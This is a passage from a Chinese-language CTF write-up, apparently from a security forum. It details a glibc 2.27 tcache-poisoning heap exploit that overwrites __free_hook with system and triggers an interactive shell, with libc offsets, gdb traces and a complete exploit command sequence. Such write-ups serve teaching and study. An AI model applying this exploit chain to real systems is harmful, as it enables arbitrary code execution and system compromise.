| 3 | token malloc → 弹 **R0**（fd 已被 p 改写，读出 `__free_hook`） | **__free_hook** |
| 4 | cap1 malloc → **弹出 `__free_hook` 本身**；随后 `vector[0] = system` | — |

也就是：**下标向量这个 8 字节缓冲被分配在 `__free_hook` 上，解析器把"下标值 = system"写进 vector[0]，等价于 `*(__free_hook) = system`**。gdb 硬件断点实录（g22.log）：`malloc(0x8) = 0x7ffff73ed8e8`（正是 __free_hook），下一个写操作后 watchpoint 报 `__free_hook = 0x7ffff704f420`（system）。

单下标 ⇒ 无 cap2；`free(token)` 发生在 cap1 之后 ⇒ 三连弹中间无压回——这是刻意用"单下标 + 22 字符行"达成的编排。

### 6.2 为什么不会崩：后续流程全部无害

- 钩子写完后，本命令内剩下的 `free(token)`、`free(行字符串)`、EXEC、destroy 的 `free(向量/节点)` **全部变成 `system(垃圾串)`**：sh 报 "not found"，仅此而已。
- EXEC 用下标 = system（约 0x7f…）对长度 8 的列表做 `下标 < size` 校验（§1.3 Store 的越界检查）必然失败 → 干净地打印 `runtime error!`，不产生任何写。
- `__free_hook+8` 是早已废弃的 `__malloc_initialize_hook`，本方案不碰它。

### 6.3 k：最后一行起壳

```
k: sh;000000000000000000000        # 无 $ 前缀，25 字符
```

设计约束与理由：

- **不走解析器**：一旦带上 `$1[` 形态，就会产生 token/cap1 等 0x20 分配——此刻 0x20-bin 已被毒化得一塌糊涂（head 指向 system 一类的非堆地址），任何 0x20 malloc 都是野指针崩溃。无 `$` 的行被 sub_2B14 开头的 `*v3 != 36` 检查拒绝 → `invalid syntax!`，不进入任何解析分支（§1.2）。
- **行字符串 25 字符 → 0x30-bin**：这是全命令唯一的堆分配，不碰 0x20。
- 被拒绝后行字符串析构 `free(line-str)` → **`system("sh;000000000000000000000")`**：sh 先执行 `sh`（从继承的 stdin/stdout 起交互 shell），`;` 后面的 `0000…` 由 sh 报 not found，无害。system 会等待 sh 退出，期间就是完整的交互窗口。

---

## 7. glibc 2.27 tcache 速查（本题依赖的全部特性）

- `tcache_perthread_struct`：`counts` 是 `char[64]`（tcache+0），`entries` 指针数组在 **+0x40**；bin idx0 ↔ 0x20 大小的 chunk。
- **无 safe-linking**：fd 存原始指针（2.32 才有异或加密）。
- **无 key 字段**（2.29 才加 double-free 检测），`tcache_get` **不校验指针合法性**——把 fd 指到 `__free_hook` 这种非堆地址也能直接弹出。
- 符号偏移（题目自带 libc-2.27.so，Ubuntu 18.04）：`__free_hook = +0x3ed8e8`、`system = +0x4f420`、`stderr = +0x3ec680`。

## 8. 完整命令序列（exp.py 的骨架）

```
# Phase 0：常量准备（一次性）
$2=2^48; $4=48879; $4*$2        # BEEF<<48 模板
$5=2000                         # oracle 放大倍数
$9=$1[1]                        # cookie（SS=7 伪头读 arena 零区）

# Phase 1：read_qword(off) × 2
#   新列表(#k) → e0 种 BEEF|S（S=(off-k*0x48-0x10)/8）→ $8=$1[1] → $8^$9 → 36×bit_cmds
#   读 +0x10078 得 libc；读 +0x10098 得堆基准

# Phase 2：
$6=<__free_hook>; $6^$9         # 存进落点即为裸值
$1=[0,0,0,0,0,0,0,0]            # 跳跃载体列表 #L
$7=<S>; $8=$4; $8|$7; $1[0]=$8  # e0 种 BEEF|S（S 指向 R0）
$1[000000000000001]=$6          # p：*R0 = __free_hook（毒化存活）

# Phase 3：
$1[<15位system>]=$5             # t3：cap1 = __free_hook，vector[0] = system
sh;000000000000000000000        # k：system("sh;0…") → 交互 shell
```

所有十进制字面量固定 15 位宽度（前导零补齐）——这同时控制了行长（→ bin 归属）与 token 长度（→ 是否走堆分配）。

登录后可查看完整内容

冰与火的战歌：Windows内核攻防实战高级班！从零到实战，融合AI与Windows内核攻防全技术栈，打造具备自动化能力的内核开发高手。

上传的附件：